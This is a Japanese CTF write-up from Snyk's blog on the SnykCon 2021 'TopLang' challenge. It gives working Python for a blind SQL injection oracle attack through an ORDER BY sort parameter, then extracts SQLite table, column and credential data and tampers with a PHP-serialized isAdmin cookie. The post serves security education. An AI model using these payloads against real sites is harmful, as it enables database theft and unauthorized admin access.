Skip to main content

CTFの秘密を公開:SnykCon 2021のTopLangチャレンジを解説

著者

Michael Aquilina

feature fetch the flag ctf

2022年1月6日

0 分で読めます

SnykCon 2021に参加された方は、第1回CTFであるFetch the Flagを覚えているかもしれません。このCTFでは、中程度の難易度のWebチャレンジ「TopLang」が好評を博しました。このチャレンジを気に入ってくださった方に向けて、この記事では、私たちのチームがどのように取り組み、解決したかを紹介します。さらに、https://ctf-2021.snyk.io/にアクセスして、Challengesセクションに進めば、ご自身でも挑戦できます。

このチャレンジは、ブラインドSQLインジェクションを使った、いわゆる「オラクル攻撃」の典型的な例です。CTFチャレンジに不慣れな読者を想定し、この問題にどう取り組んだかを説明します。手順はかなり詳しく解説しますが、PythonとSQLの基本的な知識があることを前提としています。

チャレンジの説明は次のとおりです。

お気に入りのプログラミング言語は何ですか?

チャレンジでは、解決の手がかりが示されることもあります。しかし、今回は利用できそうな情報がなさそうです。さっそく初期調査に取りかかりましょう。

初期調査

CTFのWebチャレンジでは、コードを書き始める前に、利用できるWebページとその内容を把握しておくとよいでしょう。この初期調査を通じて、潜在的な攻撃ベクトルや、CTFフラグが保存されていそうな場所を推測できます。調査に10分以上かける必要はありません。ページ内のリンクをクリックし、有用そうな情報をメモするだけです。

チャレンジの説明にあるWebリンクを開くと、次のページが表示されます。

2021年6月と2020年6月の、20種類のプログラミング言語の順位、評価、変動を比較した表

2020年と2021年の人気プログラミング言語を、評価などの追加情報とともに一覧表示した表があります。

列の見出しをクリックすると、並べ替えができるようです。さらに重要なのは、特定の列で並べ替えると、URLにクエリ文字列パラメーターsortが追加されることです。たとえば、「Jun 2021」列で並べ替えると、URLのパスは/?sort=jun2021になります。

操作できる入力値はどれも、利用可能な攻撃ベクトルになり得ます。これは後で調べる価値のありそうな手がかりです。

2021年6月と2020年6月のプログラミング言語の順位、評価、変動を比較した表。

もうひとつ、すぐに目につくのがページ下部のAdmin panelリンクです。クリックすると/admin.phpに移動しますが、ログインしない限り、できることはなさそうです。

「Please login」というメッセージが赤と青の文字で表示された白いページ。

ログインページに進むと、一般的なログインフォームが表示されます。

ログインとパスワードの入力欄、青い送信ボタンがあるログインフォーム

「admin」/「admin」のようなよくある組み合わせを試せますが、どれも機能しないようです。Webチャレンジであることを考えると、THC Hydraのようなパスワード解析ツールでログインを総当たりする必要はないと考えてよいでしょう。

サーバーからloginとpasswordの値を何らかの方法で取り出し、それを使って管理パネルにログインする必要がありそうです。

さて、各ページの概要がつかめたので、悪用できそうなものがないか、もう少し詳しく見ていきましょう。

SQLインジェクション

人気プログラミング言語のデータはWebページ上の表として表示され、クエリ文字列パラメーターsortを使ってさまざまな順序に並べ替えられます。このことから、バックエンドのSQLデータベースを使ってデータの取得や検索を行っている可能性が高そうです。

バックエンドがSQLであれば、このページがSQLインジェクション攻撃に対して脆弱かどうかを確認できます。

注:このCTFチャレンジを簡単にするために、sqlmapのようなSQLインジェクションツールを使う方法もあります。実際、多くの場合はこれで問題なく動作します。しかし、コンテスト中にこのチャレンジで試したところ、うまくいきませんでした。ツールを適切に動かすために必要なオプションを探るのに時間をかけるより、自分でエクスプロイトコードを書くことにしました。解決コードを自分で書くほうが、ずっと楽しいものです。

先ほど、クエリ文字列パラメーターsortが攻撃ベクトルの候補になるとわかりました。sortパラメーターに渡す値は、データベーステーブルの列名のように見えます。列の見出しをクリックすると、次の値が指定されます。

  • sort=jun2020

  • sort=jun2021

  • sort=ratings

  • sort=change

この列名が安全でない文字列フォーマットを使ってSQLのORDER BY文に渡されている場合、ブラインドSQLインジェクション攻撃でデータを取り出せる可能性があります。

脆弱性を確認する方法として、真偽値条件を含むCASE文を使って、結果の順序を変えられるか試すのが効果的です。CASE文の評価結果がTrueとFalseの場合で、並び順が変わるでしょうか。次の2つのsort値で試してみましょう。

  • ?sort=”(CASE WHEN 1=1 THEN jun2021 ELSE jun2020)”

  • ?sort=”(CASE WHEN 1=0 THEN jun2021 ELSE jun2020)”

この段階では、対象のWebページとやり取りするスクリプトを書き始めるのがよいでしょう。間もなく自動化が必要になる可能性が高いからです。また、FirefoxやChromeなどのWebブラウザーは、空白や特殊文字を含む複雑な入力を改変したり変換したりすることがあります。

私はPythonに慣れており、外部パッケージを使えばすぐに動く解決策を作りやすいため、CTFで使う言語としても優れています。

PyPIからrequestsとBeautifulSoupライブラリをインストールすると、ページをリクエストし、HTMLの出力を解析して結果に違いがあるかを確認できます。具体的には、言語列の順序がページ上で変わったかどうかを調べます。

2020年と2021年のどちらでも、「C」が常に最上位の言語です。一方、2021年に最も人気がなかったのは「Go」、2020年は「Fortran」でした。この違いを調べるため、最も人気のなかった言語を判定するコードを書けます。

そこで、ページに表示される最後の言語を返す関数を作りましょう。

import requests
from bs4 import BeautifulSoup

HOST = "https://snyk-top-lang.chals.io/" 

def get_data(command): 
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)" 

    resp = requests.get(HOST, params={"sort": payload}) 

    soup = BeautifulSoup(resp.text, 'html.parser') 

    return soup.find_all(“td”)[-3].get_text()

Trueの条件をJun2021に、Falseの条件をJun2020に結び付けた場合、Trueの文をget_dataに渡すと「Go」が出力され、Falseの文をget_dataに渡すと「Fortran」が出力されるはずです。

SQLにTrueの文を渡す簡単な方法は「1=1」です。「1=0」はFalseの文として使えます。

コードを使って試してみましょう。

print(“1=1:”, get_data(“1=1”))
print(“1=0:”, get_data(“1=0”))

次のような出力が得られます。

1=1: Go
1=0: Fortran

成功です。真偽値条件を使って、順序を変えることができました。このテストによって、orderパラメーターがブラインドSQLインジェクション攻撃に対して脆弱だとわかります。あとは、このエクスプロイトを利用するだけです。

オラクル攻撃

ブラインドSQLインジェクションのエクスプロイトは、「オラクル攻撃」の一種です。オラクル攻撃では、サーバーに「はい」か「いいえ」で答えられる質問を送り、目標とする値にどれだけ近づいているかを判断します。

今回の目標は、先ほど見た管理パネルのフォームにあるloginとpasswordの値だと考えられます。

オラクル攻撃では、サーバーにログイン情報やパスワードを直接教えてもらうことはできません。しかし、その値について推測した内容をサーバーに送り、少しずつ正解に近づけていくことはできます。

このオラクル攻撃を利用する一般的な方法は、部分文字列について質問し、肯定的な回答が得られるたびに条件を細かくしていくことです。

コードを使わずにオラクルへ質問する場合、次のような流れになります。

  • 「loginはaで始まりますか?」 サーバー:いいえ

  • 「loginはbで始まりますか?」 サーバー:いいえ

  • 「loginはcで始まりますか?」 サーバー:はい

  • 「loginはcaで始まりますか?」 サーバー:いいえ

  • 「loginはcbで始まりますか?」 サーバー:いいえ

  • 「loginはccで始まりますか?」 サーバー:いいえ

  • 「loginはceで始まりますか?」 サーバー:はい

この操作を繰り返し、loginの内容を1文字ずつすべて取り出します。パスワードもプレーンテキストで保存されているなら、同じ方法で取得できます。

これをコードにしてみましょう。まず、質問への回答が「はい」ならoracle、「いいえ」ならTrueを返すFalse関数を作ります。元のget_data関数を少し変更すれば、HTMLテーブルの最後の言語を確認して、「はい」か「いいえ」の質問への回答を判定できます。

import requests 
import string 
from bs4 import BeautifulSoup 

HOST = "https://snyk-top-lang.chals.io/" 

def oracle(command): 
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)"

    resp = requests.get(HOST, params={"sort": payload}) 

    soup = BeautifulSoup(resp.text, 'html.parser') 

    results = soup.find_all("td")

    # If the last row is Go, then we are sorted by jun2021
    # which means our command evaluates to True
    return results[-3].get_text() == "Go" 

# Make sure the oracle function is working correctly!
assert oracle("1=0") is False 
assert oracle("1=1") is True

ログイン情報の抽出

データベースからloginとpasswordを取得する必要があるとわかっています。しかし、クエリを書くためのSQLスキーマ情報は何もありません。テーブル名や列名を推測する方法もあります(実際にそうしたチームもありました)が、私たちのチームは、どのテーブルと列を調べればよいかを把握するため、まずデータベースのメタデータを抽出しました。

SQLite、MySQL、PostgreSQL、SQL Serverなど、よく使われる各種SQLバックエンド向けのクエリを試し、Webページがクラッシュしないものを調べた結果、バックエンドのデータベースがSQLiteだと特定できました。

SQLiteデータベース内のテーブルと列を調べるのは、簡単な操作です。まず、データを抽出できるテーブルを確認しましょう。

次のクエリを実行すると、SQLiteデータベース内のすべてのテーブル名を取得できます。

SELECT DISTINCT name 
FROM sqlite_master 
WHERE type='table' AND name NOT LIKE 'sqlite_%'

しかし、これは「はい」か「いいえ」で答えられる質問ではないため、そのままオラクル関数に渡すことはできません。GROUP_CONCAT関数でテーブル名を連結し、substr関数を使って連結結果の値を推測すれば、解決できます。

これらを組み合わせると、次のようになります。

SELECT substr(GROUP_CONCAT(name), ':'), 1, {end})=’{guess}’
FROM sqlite_master 
WHERE type='table' AND name NOT LIKE 'sqlite_%'

クエリのパラメーターにend と guess があることに注目してください。guessは現在の推測値、endはその推測値の文字数に1を加えた値です。

あとは、サーバーに1文字ずつ推測値を送るようコードを更新するだけです。オラクルからTrueの応答が返るまで、リクエストを送り続けます。Trueが返ってきたら次の文字に進み、同じ処理を繰り返して推測を絞り込みます。

コードは次のようになります。

import requests
import string
from bs4 import BeautifulSoup

HOST = "https://snyk-top-lang.chals.io/"

def oracle(command):
    payload = f"(CASE WHEN ({command}) THEN jun2021 ELSE jun2020 END)"

    resp = requests.get(HOST, params={"sort": payload})

    soup = BeautifulSoup(resp.text, 'html.parser')

    results = soup.find_all("td")
    return results[-3].get_text() == "Go"

assert oracle("1=0") is False
assert oracle("1=1") is True

buffer = ""

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + ":" 

while True:
    for character in alphabet:
        guess = buffer + character
        print("trying", guess)
        end = len(buffer) + 1
        command = f"SELECT substr(GROUP_CONCAT(name), ':'), 1, {end})='{guess}' FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'"
        if oracle(command):
            buffer = guess
            print("Found", buffer)
            break
    else:
        print("Reached End")
        break

このコードを実行すると、すべてのテーブル名が1文字ずつ漏れていくのがわかります。

ユーザー名の列挙を試みたターミナル出力。「Found users」と表示された行が複数含まれています。

スクリプトが終了するまで実行すると、最終結果は「users:languages」になります。つまり、さらに詳しく調べられるusersテーブルとlanguagesテーブルが存在します。管理パネルへのログインが目的なので、調べるべきなのは「users」テーブルだと考えてよいでしょう。

次に、usersテーブルにどの列があるかを確認します。SQLiteには、特定のテーブルに含まれる列名を取得するPRAGMA_TABLE_INFO(table_name)関数があります。今回のクエリは次のようになります。

SELECT name
FROM PRAGMA_TABLE_INFO(‘users’)

ここでも、サーバーにはオラクル形式の質問だけを送るため、GROUP_CONCAT関数とsubstr関数を使って、次のSQLクエリのペイロードに変換できます。

SELECT substr(GROUP_CONCAT(name, ':'), 1, {end})='{guess}'
FROM PRAGMA_TABLE_INFO('users')

前のスクリプトのcommand変数を、この新しいクエリで更新すれば準備完了です。

while True:
    for character in alphabet:
        guess = buffer + character
        print("trying", guess)
        end = len(buffer) + 1

        command = f"SELECT substr(GROUP_CONCAT(name, ':'), 1, {end})='{guess}' FROM PRAGMA_TABLE_INFO('users')"
        if oracle(command):
            buffer = guess
            print("Found", buffer)
            break
    else:
        print("Reached End")
                 break

もう一度実行すると、最終的に次の結果が得られます。

id:login:password:admin

目的の列loginとpasswordが見つかりました。あとは、SQLペイロードを送って、それぞれの情報をすべて抽出するだけです。

loginのデータを抽出する、オラクル形式のSQLペイロードは次のとおりです。

SELECT substr(GROUP_CONCAT(login, ':'), 1, {end})='{guess}' FROM users

そして、passwordデータを抽出するためのOracle形式のSQLペイロードはこちらです:

SELECT substr(GROUP_CONCAT(password, ':'), 1, {end})='{guess}' FROM users

先ほどと同じように、ケースごとに同じスクリプト内のcommandの値を置き換えるだけで、どちらの攻撃も実行できます。これらの攻撃を実行すると、2組のログイン情報(ユーザー名とパスワード)を無事に取得できます。

楽しみを台無しにしたくないので、答えは皆さん自身で見つけてみてください。

管理パネルへのログイン

先ほど抽出したログイン情報を使うと、/admin.php の管理パネルにログインできます。

しかし、このWebページが表示され、最後にもう一つ乗り越えるべき課題があるようです:

赤い停止マークの横に「You are not admin」と表示されている

幸い、この最後のステップの解決方法はとても簡単です。ブラウザーに保存されているCookieを確認し、うまく利用できないか調べるのは常に有効です。Firefoxのストレージタブを開くと、次の内容が確認できます:

ブラウザーの開発者ツールのストレージパネルに表示された、セッションCookieのプロパティと、isAdminの値を含む解析済みユーザーデータ。

特に、解析された値から、CookieにisAdminという値が保存されており、現在の値は0であることがわかります。これを1に変更するとどうなるか見てみましょう。

Cookieの値全体をコピーすると、次のようになります:

O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A6%3A%22kirill%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A0%3B%7D

このエンコードの仕組みを理解する必要はないと考えた私たちは、文字列の末尾近くにある「0」を「1」に変え、ブラウザーのCookieの値を置き換えるのが最も簡単だと判断しました:

O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A6%3A%22kirill%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

CTFの終了後に詳しく調べたところ、これは単なるPHPのシリアライズ済みオブジェクトだとわかりました。ただ、私たちが行ったような近道を使うのは、時間の節約がリーダーボードの最終順位を左右することもあるCTFチャレンジでは、まったく問題のない方法だと思います。

これを値タブに貼り付け(ダブルクリックしてから、編集したCookieを貼り付けます)、ページを更新すると、待望のSNYK{...}CTFフラグが表示されます!今回も、ぜひ自分で試せるように、実際の結果は画面から削除してあります:

白い背景に、緑色の「SNYK{」と、それに続く黒塗り部分、閉じ括弧が表示されている

ひとまず、まとめ!

今回行った手順を簡単に振り返ってみましょう:

  • 利用可能なページを調べ、orderクエリ文字列と管理者ログインページを発見

  • orderクエリ文字列がブラインドSQLインジェクション攻撃に対して脆弱であることを確認

  • 管理ページのログイン情報が格納されたテーブル名、列名、データを抽出

  • ブラウザーのCookieのデータを変更して、管理者としてログインしているとサーバーに誤認させ、Snyk CTFのフラグを取得

このCTFの解説を楽しんでいただき、何か新しいことを学んでいただけたなら幸いです!CTFチャレンジは、実際に悪用される脆弱性について学ぶのに最適な方法です。自分のシステムで同様の攻撃を防ぐ力も身につきます。今後も解説記事を公開していくので、詳しいガイドをお楽しみに。

最後に、HuntressのシニアセキュリティリサーチャーであるJohn Hammondが、SnykCon 2021のFetch the Flag CTFのほかの問題についても詳しい解説を作成しています。ぜひご覧ください:

これらのCTFなどを制作しているSnykの セキュリティリサーチ チームへの参加に興味がある方は、募集中のポジションをご覧ください!